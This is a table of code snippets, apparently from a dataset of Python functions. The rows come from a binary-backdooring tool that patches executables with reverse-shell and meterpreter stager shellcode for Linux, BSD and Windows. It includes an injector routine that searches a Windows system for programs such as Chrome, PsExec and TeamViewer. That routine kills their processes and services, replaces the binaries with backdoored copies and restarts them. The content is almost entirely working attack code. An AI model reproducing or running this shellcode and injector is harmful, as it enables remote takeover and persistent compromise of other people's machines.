desc
stringlengths 3
26.7k
| decl
stringlengths 11
7.89k
| bodies
stringlengths 8
553k
|
---|---|---|
'Output file check.'
|
def output_options(self):
|
if (not self.OUTPUT):
self.OUTPUT = os.path.basename(self.FILE)
|
'checks shellcode selection'
|
def check_shells(self):
|
avail_shells = []
ignores = ['returnshellcode', 'pack_ip_addresses', 'eat_code_caves', 'ones_compliment', 'ones_compliment', 'resume_executionreturnshellcode', 'clean_caves_stub']
if (self.flItms['Magic'] == int('10B', 16)):
self.flItms['bintype'] = winI32_shellcode
if (self.flItms['Magic'] == int('20B', 16)):
self.flItms['bintype'] = winI64_shellcode
if (not self.SHELL):
print 'You must choose a backdoor to add: (use -s)'
for item in dir(self.flItms['bintype']):
if ('__' in item):
continue
elif (item in ignores):
continue
else:
print ' {0}'.format(item)
return False
if (self.SHELL not in dir(self.flItms['bintype'])):
print ('The following %ss are available: (use -s)' % str(self.flItms['bintype']).split('.')[1])
for item in dir(self.flItms['bintype']):
if ('__' in item):
continue
elif (item in ignores):
continue
else:
print ' {0}'.format(item)
avail_shells.append(item)
self.flItms['avail_shells'] = avail_shells
return False
getattr(self.flItms['bintype']('127.0.0.1', 8080, self.SUPPLIED_SHELLCODE), self.SHELL)(self.flItms, self.flItms['CavesPicked'])
|
'This function sets the shellcode.'
|
def set_shells(self):
|
print '[*] Looking for and setting selected shellcode'
if (self.check_shells() is False):
return False
self.flItms['shells'] = self.flItms['bintype'](self.HOST, self.PORT, self.SUPPLIED_SHELLCODE)
self.flItms['allshells'] = getattr(self.flItms['shells'], self.SHELL)(self.flItms, self.flItms['CavesPicked'])
self.flItms['shellcode'] = self.flItms['shells'].returnshellcode()
return True
|
'The injector module will hunt and injection shellcode into
targets that are in the list_of_targets dict.
Data format DICT: {process_name_to_backdoor :
[(\'dependencies to kill\', ),
\'service to kill\', restart=True/False],'
|
def injector(self):
|
list_of_targets = {'chrome.exe': [('chrome.exe',), None, True], 'hamachi-2.exe': [('hamachi-2.exe',), 'Hamachi2Svc', True], 'tcpview.exe': [('tcpview.exe',), None, True], 'psexec.exe': [('psexec.exe',), 'PSEXESVC.exe', False], 'vncserver.exe': [('vncserver.exe',), 'vncserver', True], 'vmtoolsd.exe': [('vmtools.exe', 'vmtoolsd.exe'), 'VMTools', True], 'nc.exe': [('nc.exe',), None, False], 'Start Tor Browser.exe': [('Start Tor Browser.exe',), None, False], 'procexp.exe': [('procexp.exe', 'procexp64.exe'), None, True], 'procmon.exe': [('procmon.exe', 'procmon64.exe'), None, True], 'TeamViewer.exe': [('tv_x64.exe', 'tv_x32.exe'), None, True]}
print '[*] Beginning injector module'
os_name = os.name
if (os_name == 'nt'):
if ('PROGRAMFILES(x86)' in os.environ):
print '-You have a 64 bit system'
system_type = 64
else:
print '-You have a 32 bit system'
system_type = 32
else:
print 'This works only on windows. :('
sys.exit()
winversion = platform.version()
rootdir = os.path.splitdrive(sys.executable)[0]
targetdirs = []
excludedirs = []
winXP2003x86targetdirs = [(rootdir + '\\')]
winXP2003x86excludedirs = [(rootdir + '\\Windows\\'), (rootdir + '\\RECYCLER\\'), '\\VMWareDnD\\']
vista7win82012x64targetdirs = [(rootdir + '\\')]
vista7win82012x64excludedirs = [(rootdir + '\\Windows\\'), (rootdir + '\\RECYCLER\\'), '\\VMwareDnD\\']
if ('5.0.' in winversion):
print '-OS is 2000'
targetdirs = (targetdirs + winXP2003x86targetdirs)
excludedirs = (excludedirs + winXP2003x86excludedirs)
elif ('5.1.' in winversion):
print '-OS is XP'
if (system_type == 64):
targetdirs.append((rootdir + '\\Program Files (x86)\\'))
excludedirs.append(vista7win82012x64excludedirs)
else:
targetdirs = (targetdirs + winXP2003x86targetdirs)
excludedirs = (excludedirs + winXP2003x86excludedirs)
elif ('5.2.' in winversion):
print '-OS is 2003'
if (system_type == 64):
targetdirs.append((rootdir + '\\Program Files (x86)\\'))
excludedirs.append(vista7win82012x64excludedirs)
else:
targetdirs = (targetdirs + winXP2003x86targetdirs)
excludedirs = (excludedirs + winXP2003x86excludedirs)
elif ('6.0.' in winversion):
print '-OS is Vista/2008'
if (system_type == 64):
targetdirs = (targetdirs + vista7win82012x64targetdirs)
excludedirs = (excludedirs + vista7win82012x64excludedirs)
else:
targetdirs.append((rootdir + '\\Program Files\\'))
excludedirs.append((rootdir + '\\Windows\\'))
elif ('6.1.' in winversion):
print '-OS is Win7/2008'
if (system_type == 64):
targetdirs = (targetdirs + vista7win82012x64targetdirs)
excludedirs = (excludedirs + vista7win82012x64excludedirs)
else:
targetdirs.append((rootdir + '\\Program Files\\'))
excludedirs.append((rootdir + '\\Windows\\'))
elif ('6.2.' in winversion):
print '-OS is Win8/2012'
targetdirs = (targetdirs + vista7win82012x64targetdirs)
excludedirs = (excludedirs + vista7win82012x64excludedirs)
filelist = set()
exclude = False
for path in targetdirs:
for (root, subFolders, files) in os.walk(path):
for directory in excludedirs:
if (directory.lower() in root.lower()):
exclude = True
break
if (exclude is False):
for _file in files:
f = os.path.join(root, _file)
for (target, items) in list_of_targets.iteritems():
if (target.lower() == _file.lower()):
print '-- Found the following file:', ((root + '\\') + _file)
filelist.add(f)
exclude = False
process_list = []
all_process = os.popen('tasklist.exe')
ap = all_process.readlines()
all_process.close()
ap.pop(0)
ap.pop(0)
ap.pop(0)
for process in ap:
process_list.append(process.split())
for target in filelist:
service_target = False
running_proc = False
filename = os.path.basename(target)
for process in process_list:
for (setprocess, items) in list_of_targets.iteritems():
if (setprocess.lower() in target.lower()):
for item in items[0]:
if (item.lower() in [x.lower() for x in process]):
print '- Killing process:', item
try:
os.system(('taskkill /F /PID %i' % int(process[1])))
running_proc = True
except Exception as e:
print str(e)
if (setprocess.lower() in [x.lower() for x in process]):
if (items[1] is not None):
print '- Killing Service:', items[1]
try:
os.system(('net stop %s' % items[1]))
except Exception as e:
print str(e)
service_target = True
time.sleep(1)
print ('*' * 50)
self.FILE = target
self.OUTPUT = os.path.basename((self.FILE + '.bd'))
print 'self.OUTPUT', self.OUTPUT
print '- Backdooring:', self.FILE
result = self.patch_pe()
if result:
pass
else:
continue
shutil.copy2(self.FILE, (self.FILE + self.SUFFIX))
os.chmod(self.FILE, ((stat.S_IRWXU | stat.S_IRWXG) | stat.S_IRWXO))
time.sleep(1)
try:
os.unlink(self.FILE)
except:
print 'unlinking error'
time.sleep(0.5)
try:
shutil.copy2(self.OUTPUT, self.FILE)
except:
os.system('move {0} {1}'.format(self.FILE, self.OUTPUT))
time.sleep(0.5)
os.remove(self.OUTPUT)
print ' - The original file {0} has been renamed to {1}'.format(self.FILE, (self.FILE + self.SUFFIX))
if (self.DELETE_ORIGINAL is True):
print '!!Warning Deleteing Original File!!'
os.remove((self.FILE + self.SUFFIX))
if (service_target is True):
os.system(('net start %s' % list_of_targets[filename][1]))
else:
try:
if ((list_of_targets[filename][2] is True) and (running_proc is True)):
subprocess.Popen([self.FILE])
print '- Restarting:', self.FILE
else:
print ('-- %s was not found online - not restarting' % self.FILE)
except:
if ((list_of_targets[filename.lower()][2] is True) and (running_proc is True)):
subprocess.Popen([self.FILE])
print '- Restarting:', self.FILE
else:
print ('-- %s was not found online - not restarting' % self.FILE)
|
'Modified from metasploit payload/linux/x64/shell_reverse_tcp
to correctly fork the shellcode payload and continue normal execution.'
|
def reverse_shell_tcp(self, flItms, CavesPicked={}):
|
if (self.PORT is None):
print 'Must provide port'
return False
self.shellcode1 = 'j9X\x0f\x05H\x85\xc0t\x0c'
self.shellcode1 += 'H\xbd'
self.shellcode1 += struct.pack('<Q', self.e_entry)
self.shellcode1 += '\xff\xe5'
self.shellcode1 += 'j)X\x99j\x02_j\x01^\x0f\x05H\x97H\xb9\x02\x00'
self.shellcode1 += struct.pack('!H', self.PORT)
self.shellcode1 += self.pack_ip_addresses()
self.shellcode1 += 'QH\x89\xe6j\x10Zj*X\x0f\x05j\x03^H\xff\xcej!X\x0f\x05u\xf6j;X\x99H\xbb/bin/sh\x00SH\x89\xe7RWH\x89\xe6\x0f\x05'
self.shellcode = self.shellcode1
return self.shellcode1
|
'FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
Modified from metasploit payload/linux/x64/shell/reverse_tcp
to correctly fork the shellcode payload and continue normal execution.'
|
def reverse_tcp_stager(self, flItms, CavesPicked={}):
|
if (self.PORT is None):
print 'Must provide port'
return False
self.shellcode1 = 'j9X\x0f\x05H\x85\xc0t\x0c'
self.shellcode1 += 'H\xbd'
self.shellcode1 += struct.pack('<Q', self.e_entry)
self.shellcode1 += '\xff\xe5'
self.shellcode1 += 'H1\xffj DCTB X\x99\xb6\x10H\x89\xd6M1\xc9j"AZ\xb2\x07\x0f\x05VPj)X\x99j\x02_j\x01^\x0f\x05H\x97H\xb9\x02\x00'
self.shellcode1 += struct.pack('!H', self.PORT)
self.shellcode1 += self.pack_ip_addresses()
self.shellcode1 += 'QH\x89\xe6j\x10Zj*X\x0f\x05Y^Z\x0f\x05\xff\xe6'
self.shellcode = self.shellcode1
return self.shellcode1
|
'For user supplied shellcode'
|
def user_supplied_shellcode(self, flItms, CavesPicked={}):
|
if (self.SUPPLIED_SHELLCODE is None):
print '[!] User must provide shellcode for this module (-U)'
return False
else:
supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
self.shellcode1 = 'j9X\x0f\x05H\x85\xc0t\x0c'
self.shellcode1 += 'H\xbd'
self.shellcode1 += struct.pack('<Q', self.e_entry)
self.shellcode1 += '\xff\xe5'
self.shellcode1 += supplied_shellcode
self.shellcode = self.shellcode1
return self.shellcode1
|
'Modified metasploit payload/bsd/x86/shell_reverse_tcp
to correctly fork the shellcode payload and contiue normal execution.'
|
def reverse_shell_tcp(self, CavesPicked={}):
|
if (self.PORT is None):
print 'Must provide port'
return False
self.shellcode1 = 'R'
self.shellcode1 += '1\xc0'
self.shellcode1 += '\xb0\x02'
self.shellcode1 += '\xcd\x80'
self.shellcode1 += 'Z'
self.shellcode1 += '\x85\xc0t\x07'
self.shellcode1 += '\xbd'
self.shellcode1 += struct.pack('<I', self.e_entry)
self.shellcode1 += '\xff\xe5'
self.shellcode1 += 'h'
self.shellcode1 += self.pack_ip_addresses()
self.shellcode1 += 'h\xff\x02'
self.shellcode1 += struct.pack('!H', self.PORT)
self.shellcode1 += '\x89\xe71\xc0Pj\x01j\x02j\x10\xb0a\xcd\x80WPPjbX\xcd\x80PjZX\xcd\x80\xffO\xe8y\xf6h//shh/bin\x89\xe3PTSP\xb0;\xcd\x80'
self.shellcode = self.shellcode1
return self.shellcode1
|
'FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
Modified from metasploit payload/bsd/x86/shell/reverse_tcp
to correctly fork the shellcode payload and continue normal execution.'
|
def reverse_tcp_stager(self, CavesPicked={}):
|
if (self.PORT is None):
print 'Must provide port'
return False
self.shellcode1 = 'R'
self.shellcode1 += '1\xc0'
self.shellcode1 += '\xb0\x02'
self.shellcode1 += '\xcd\x80'
self.shellcode1 += 'Z'
self.shellcode1 += '\x85\xc0t\x07'
self.shellcode1 += '\xbd'
self.shellcode1 += struct.pack('<I', self.e_entry)
self.shellcode1 += '\xff\xe5'
self.shellcode1 += 'jaX\x99RBRBRh'
self.shellcode1 += self.pack_ip_addresses()
self.shellcode1 += '\xcd\x80h\x10\x02'
self.shellcode1 += struct.pack('!H', self.PORT)
self.shellcode1 += '\x89\xe1j\x10QPQ\x97jbX\xcd\x80\xb0\x03\xc6A\xfd\x10\xcd\x80\xc3'
self.shellcode = self.shellcode1
return self.shellcode1
|
'For position independent shellcode from the user'
|
def user_supplied_shellcode(self, CavesPicked={}):
|
if (self.SUPPLIED_SHELLCODE is None):
print '[!] User must provide shellcode for this module (-U)'
return False
else:
supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
self.shellcode1 = 'R'
self.shellcode1 += '1\xc0'
self.shellcode1 += '\xb0\x02'
self.shellcode1 += '\xcd\x80'
self.shellcode1 += 'Z'
self.shellcode1 += '\x85\xc0t\x07'
self.shellcode1 += '\xbd'
self.shellcode1 += struct.pack('<I', self.e_entry)
self.shellcode1 += '\xff\xe5'
self.shellcode1 += supplied_shellcode
self.shellcode = self.shellcode1
return self.shellcode1
|
'Modified metasploit windows/x64/shell_reverse_tcp'
|
def reverse_shell_tcp_inline(self, flItms, CavesPicked={}):
|
if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
print 'This payload requires a HOST parameter -H'
return False
breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = '\xfcH\x83\xe4\xf0\xe8'
if (flItms['cave_jumping'] is True):
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
else:
self.shellcode1 += '\xc0\x00\x00\x00'
self.shellcode1 += 'AQAPRQVH1\xd2eH\x8bR`H\x8bR\x18H\x8bR H\x8brPH\x0f\xb7JJM1\xc9H1\xc0\xac<a|\x02, A\xc1\xc9\rA\x01\xc1\xe2\xedRAQH\x8bR \x8bB<H\x01\xd0\x8b\x80\x88\x00\x00\x00H\x85\xc0tgH\x01\xd0P\x8bH\x18D\x8b@ I\x01\xd0\xe3VH\xff\xc9A\x8b4\x88H\x01\xd6M1\xc9H1\xc0\xacA\xc1\xc9\rA\x01\xc18\xe0u\xf1L\x03L$\x08E9\xd1u\xd8XD\x8b@$I\x01\xd0fA\x8b\x0cHD\x8b@\x1cI\x01\xd0A\x8b\x04\x88H\x01\xd0AXAX^YZAXAYAZH\x83\xec AR\xff\xe0XAYZH\x8b\x12\xe9W\xff\xff\xff'
self.shellcode2 = ']I\xbews2_32\x00\x00AVI\x89\xe6H\x81\xec\xa0\x01\x00\x00I\x89\xe5I\xbc\x02\x00'
self.shellcode2 += struct.pack('!H', self.PORT)
self.shellcode2 += self.pack_ip_addresses()
self.shellcode2 += 'ATI\x89\xe4L\x89\xf1A\xbaLw&\x07\xff\xd5L\x89\xeah\x01\x01\x00\x00YA\xba)\x80k\x00\xff\xd5PPM1\xc9M1\xc0H\xff\xc0H\x89\xc2H\xff\xc0H\x89\xc1A\xba\xea\x0f\xdf\xe0\xff\xd5H\x89\xc7j\x10AXL\x89\xe2H\x89\xf9A\xba\x99\xa5ta\xff\xd5H\x81\xc4@\x02\x00\x00I\xb8cmd\x00\x00\x00\x00\x00APAPH\x89\xe2WWWM1\xc0j\rYAP\xe2\xfcf\xc7D$T\x01\x01H\x8dD$\x18\xc6\x00hH\x89\xe6VPAPAPAPI\xff\xc0API\xff\xc8M\x89\xc1L\x89\xc1A\xbay\xcc?\x86\xff\xd5H1\xd2\x90\x90\x90\x8b\x0eA\xba\x08\x87\x1d`\xff\xd5\xbb\xf0\xb5\xa2VA\xba\xa6\x95\xbd\x9d\xff\xd5H\x83\xc4(<\x06|\n\x80\xfb\xe0u\x05\xbbG\x13roj\x00YA\x89\xdaH\x81\xc4\xf8\x00\x00\x00'
self.shellcode = (((self.stackpreserve + self.shellcode1) + self.shellcode2) + self.stackrestore)
return ((self.stackpreserve + self.shellcode1), (self.shellcode2 + self.stackrestore))
|
'Ported the x32 payload from msfvenom for patching win32 binaries (shellcode1)
with the help of Steven Fewer\'s work on msf win64 payloads.'
|
def reverse_tcp_stager_threaded(self, flItms, CavesPicked={}):
|
if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
print 'This payload requires a HOST parameter -H'
return False
flItms['stager'] = True
self.stackpreserve = '\x90PSQRVWUAPAQARASATAUAVAW\x9c'
breakupvar = eat_code_caves(flItms, 0, 1)
if (flItms['cave_jumping'] is True):
self.shellcode2 = '\xe8'
if (breakupvar > 0):
if (len(self.shellcode2) < breakupvar):
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - breakupvar) - len(self.shellcode2)) + 272)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - len(self.shellcode2)) - breakupvar) + 272)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((abs(breakupvar) + len(self.stackpreserve)) + len(self.shellcode2)) + 244)).rstrip('L')), 16))
else:
self.shellcode2 = '\xe8\xb8\xff\xff\xff'
'\n shellcode2\n /*\n * windows/x64/shell/reverse_tcp - 422 bytes (stage 1)\n ^^windows/x64/meterpreter/reverse_tcp will work with this\n * http://www.metasploit.com\n * VERBOSE=false, LHOST=127.0.0.1, LPORT=8080,\n */\n '
if (flItms['NewCodeCave'] is False):
if (CavesPicked != {}):
self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix'])
else:
self.shellcode2 += ('A' * 90)
self.shellcode2 += '\xfcH\x83\xe4\xf0\xe8\xc0\x00\x00\x00AQAPRQVH1\xd2eH\x8bR`H\x8bR\x18H\x8bR H\x8brPH\x0f\xb7JJM1\xc9H1\xc0\xac<a|\x02, A\xc1\xc9\rA\x01\xc1\xe2\xedRAQH\x8bR \x8bB<H\x01\xd0\x8b\x80\x88\x00\x00\x00H\x85\xc0tgH\x01\xd0P\x8bH\x18D\x8b@ I\x01\xd0\xe3VH\xff\xc9A\x8b4\x88H\x01\xd6M1\xc9H1\xc0\xacA\xc1\xc9\rA\x01\xc18\xe0u\xf1L\x03L$\x08E9\xd1u\xd8XD\x8b@$I\x01\xd0fA\x8b\x0cHD\x8b@\x1cI\x01\xd0A\x8b\x04\x88H\x01\xd0AXAX^YZAXAYAZH\x83\xec AR\xff\xe0XAYZH\x8b\x12\xe9W\xff\xff\xff]I\xbews2_32\x00\x00AVI\x89\xe6H\x81\xec\xa0\x01\x00\x00I\x89\xe5I\xbc\x02\x00'
self.shellcode2 += struct.pack('!H', self.PORT)
self.shellcode2 += self.pack_ip_addresses()
self.shellcode2 += 'ATI\x89\xe4L\x89\xf1A\xbaLw&\x07\xff\xd5L\x89\xeah\x01\x01\x00\x00YA\xba)\x80k\x00\xff\xd5PPM1\xc9M1\xc0H\xff\xc0H\x89\xc2H\xff\xc0H\x89\xc1A\xba\xea\x0f\xdf\xe0\xff\xd5H\x89\xc7j\x10AXL\x89\xe2H\x89\xf9A\xba\x99\xa5ta\xff\xd5H\x81\xc4@\x02\x00\x00H\x83\xec\x10H\x89\xe2M1\xc9j\x04AXH\x89\xf9A\xba\x02\xd9\xc8_\xff\xd5H\x83\xc4 ^j@AYh\x00\x10\x00\x00AXH\x89\xf2H1\xc9A\xbaX\xa4S\xe5\xff\xd5H\x89\xc3I\x89\xc7M1\xc9I\x89\xf0H\x89\xdaH\x89\xf9A\xba\x02\xd9\xc8_\xff\xd5H\x01\xc3H)\xc6H\x85\xf6u\xe1A\xff\xe7'
breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = '\x90\xe8\xc0\x00\x00\x00AQAPRQVH1\xd2eH\x8bR`H\x8bR\x18H\x8bR H\x8brPH\x0f\xb7JJM1\xc9H1\xc0\xac<a|\x02, A\xc1\xc9\rA\x01\xc1\xe2\xedRAQH\x8bR \x8bB<H\x01\xd0\x8b\x80\x88\x00\x00\x00H\x85\xc0tgH\x01\xd0P\x8bH\x18D\x8b@ I\x01\xd0\xe3VH\xff\xc9A\x8b4\x88H\x01\xd6M1\xc9H1\xc0\xacA\xc1\xc9\rA\x01\xc18\xe0u\xf1L\x03L$\x08E9\xd1u\xd8XD\x8b@$I\x01\xd0fA\x8b\x0cHD\x8b@\x1cI\x01\xd0A\x8b\x04\x88H\x01\xd0AXAX^YZAXAYAZH\x83\xec AR\xff\xe0XAYZH\x8b\x12\xe9W\xff\xff\xff'
self.shellcode1 += ']I\xc7\xc6'
self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
self.shellcode1 += 'j@AYh\x00\x10\x00\x00AXL\x89\xf2j\x00YhX\xa4S\xe5AZ\xff\xd5H\x89\xc3H\x89\xc7H\xc7\xc1'
self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
else:
self.shellcode1 += '\xebC'
self.shellcode1 += '^\xf2\xa4\xe8\x00\x00\x00\x00H1\xc0PPI\x89\xc1H\x89\xc2I\x89\xd8H\x89\xc1I\xc7\xc28h\r\x16\xff\xd5H\x83\xc4X\x9dA_A^A]A\\A[AZAYAX]_^ZY[X'
breakupvar = eat_code_caves(flItms, 0, 2)
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex(((((4294967295 + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3)).rstrip('L')), 16))
else:
self.shellcode1 += '\xe9'
self.shellcode1 += struct.pack('<I', len(self.shellcode2))
self.shellcode = ((self.stackpreserve + self.shellcode1) + self.shellcode2)
return ((self.stackpreserve + self.shellcode1), self.shellcode2)
|
'Win64 version'
|
def meterpreter_reverse_https_threaded(self, flItms, CavesPicked={}):
|
if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
print 'This payload requires a HOST parameter -H'
return False
flItms['stager'] = True
self.stackpreserve = '\x90PSQRVWUAPAQARASATAUAVAW\x9c'
breakupvar = eat_code_caves(flItms, 0, 1)
if (flItms['cave_jumping'] is True):
self.shellcode2 = '\xe8'
if (breakupvar > 0):
if (len(self.shellcode2) < breakupvar):
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - breakupvar) - len(self.shellcode2)) + 272)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - len(self.shellcode2)) - breakupvar) + 272)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((abs(breakupvar) + len(self.stackpreserve)) + len(self.shellcode2)) + 244)).rstrip('L')), 16))
else:
self.shellcode2 = '\xe8\xb8\xff\xff\xff'
'\n /*\n * windows/x64/meterpreter/reverse_https - 587 bytes (stage 1)\n * http://www.metasploit.com\n * VERBOSE=false, LHOST=127.0.0.1, LPORT=8080,\n * SessionExpirationTimeout=604800,\n * SessionCommunicationTimeout=300,\n * MeterpreterUserAgent=Mozilla/4.0 (compatible; MSIE 6.1;\n * Windows NT), MeterpreterServerName=Apache,\n * ReverseListenerBindPort=0,\n * HttpUnknownRequestResponse=<html><body><h1>It\n * works!</h1></body></html>, EnableStageEncoding=false,\n * PrependMigrate=false, EXITFUNC=thread, AutoLoadStdapi=true,\n * InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true,\n * EnableUnicodeEncoding=true\n */\n '
if (flItms['NewCodeCave'] is False):
if (CavesPicked != {}):
self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix'])
else:
self.shellcode2 += ('A' * 90)
self.shellcode2 += '\xfcH\x83\xe4\xf0\xe8\xc8\x00\x00\x00AQAPRQVH1\xd2eH\x8bR`H\x8bR\x18H\x8bR H\x8brPH\x0f\xb7JJM1\xc9H1\xc0\xac<a|\x02, A\xc1\xc9\rA\x01\xc1\xe2\xedRAQH\x8bR \x8bB<H\x01\xd0f\x81x\x18\x0b\x02ur\x8b\x80\x88\x00\x00\x00H\x85\xc0tgH\x01\xd0P\x8bH\x18D\x8b@ I\x01\xd0\xe3VH\xff\xc9A\x8b4\x88H\x01\xd6M1\xc9H1\xc0\xacA\xc1\xc9\rA\x01\xc18\xe0u\xf1L\x03L$\x08E9\xd1u\xd8XD\x8b@$I\x01\xd0fA\x8b\x0cHD\x8b@\x1cI\x01\xd0A\x8b\x04\x88H\x01\xd0AXAX^YZAXAYAZH\x83\xec AR\xff\xe0XAYZH\x8b\x12\xe9O\xff\xff\xff]j\x00I\xbewininet\x00AVI\x89\xe6L\x89\xf1I\xbaLw&\x07\x00\x00\x00\x00\xff\xd5j\x00j\x00H\x89\xe1H1\xd2M1\xc0M1\xc9APAPI\xba:Vy\xa7\x00\x00\x00\x00\xff\xd5\xe9\x9e\x00\x00\x00ZH\x89\xc1I\xb8'
self.shellcode2 += struct.pack('<H', self.PORT)
self.shellcode2 += '\x00\x00\x00\x00\x00\x00M1\xc9AQAQj\x03AQI\xbaW\x89\x9f\xc6\x00\x00\x00\x00\xff\xd5\xeb|H\x89\xc1H1\xd2AXM1\xc9Rh\x002\xa0\x84RRI\xba\xebU.;\x00\x00\x00\x00\xff\xd5H\x89\xc6j\n_H\x89\xf1H\xba\x1f\x00\x00\x00\x00\x00\x00\x00j\x00h\x803\x00\x00I\x89\xe0I\xb9\x04\x00\x00\x00\x00\x00\x00\x00I\xbauF\x9e\x86\x00\x00\x00\x00\xff\xd5H\x89\xf1H1\xd2M1\xc0M1\xc9RRI\xba-\x06\x18{\x00\x00\x00\x00\xff\xd5\x85\xc0u$H\xff\xcft\x13\xeb\xb1\xe9\x81\x00\x00\x00\xe8\x7f\xff\xff\xff/uGHX\x00\x00I\xbe\xf0\xb5\xa2V\x00\x00\x00\x00\xff\xd5H1\xc9H\xba\x00\x00@\x00\x00\x00\x00\x00I\xb8\x00\x10\x00\x00\x00\x00\x00\x00I\xb9@\x00\x00\x00\x00\x00\x00\x00I\xbaX\xa4S\xe5\x00\x00\x00\x00\xff\xd5H\x93SSH\x89\xe7H\x89\xf1H\x89\xdaI\xb8\x00 \x00\x00\x00\x00\x00\x00I\x89\xf9I\xba\x12\x96\x89\xe2\x00\x00\x00\x00\xff\xd5H\x83\xc4 \x85\xc0t\x99H\x8b\x07H\x01\xc3H\x85\xc0u\xceXX\xc3\xe8\xd7\xfe\xff\xff'
self.shellcode2 += self.HOST
self.shellcode2 += '\x00'
breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = '\x90\xe8\xc0\x00\x00\x00AQAPRQVH1\xd2eH\x8bR`H\x8bR\x18H\x8bR H\x8brPH\x0f\xb7JJM1\xc9H1\xc0\xac<a|\x02, A\xc1\xc9\rA\x01\xc1\xe2\xedRAQH\x8bR \x8bB<H\x01\xd0\x8b\x80\x88\x00\x00\x00H\x85\xc0tgH\x01\xd0P\x8bH\x18D\x8b@ I\x01\xd0\xe3VH\xff\xc9A\x8b4\x88H\x01\xd6M1\xc9H1\xc0\xacA\xc1\xc9\rA\x01\xc18\xe0u\xf1L\x03L$\x08E9\xd1u\xd8XD\x8b@$I\x01\xd0fA\x8b\x0cHD\x8b@\x1cI\x01\xd0A\x8b\x04\x88H\x01\xd0AXAX^YZAXAYAZH\x83\xec AR\xff\xe0XAYZH\x8b\x12\xe9W\xff\xff\xff'
self.shellcode1 += ']I\xc7\xc6'
self.shellcode1 += struct.pack('<H', (len(self.shellcode2) - 5))
self.shellcode1 += '\x00\x00j@AYh\x00\x10\x00\x00AXL\x89\xf2j\x00YhX\xa4S\xe5AZ\xff\xd5H\x89\xc3H\x89\xc7'
self.shellcode1 += 'H\xc7\xc1'
self.shellcode1 += struct.pack('<H', (len(self.shellcode2) - 5))
self.shellcode1 += '\x00\x00'
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
else:
self.shellcode1 += '\xebC'
self.shellcode1 += '^\xf2\xa4\xe8\x00\x00\x00\x00H1\xc0PPI\x89\xc1H\x89\xc2I\x89\xd8H\x89\xc1I\xc7\xc28h\r\x16\xff\xd5H\x83\xc4X\x9dA_A^A]A\\A[AZAYAX]_^ZY[X'
breakupvar = eat_code_caves(flItms, 0, 2)
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex(((((4294967295 + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3)).rstrip('L')), 16))
else:
self.shellcode1 += '\xe9'
self.shellcode1 += struct.pack('<I', len(self.shellcode2))
self.shellcode = ((self.stackpreserve + self.shellcode1) + self.shellcode2)
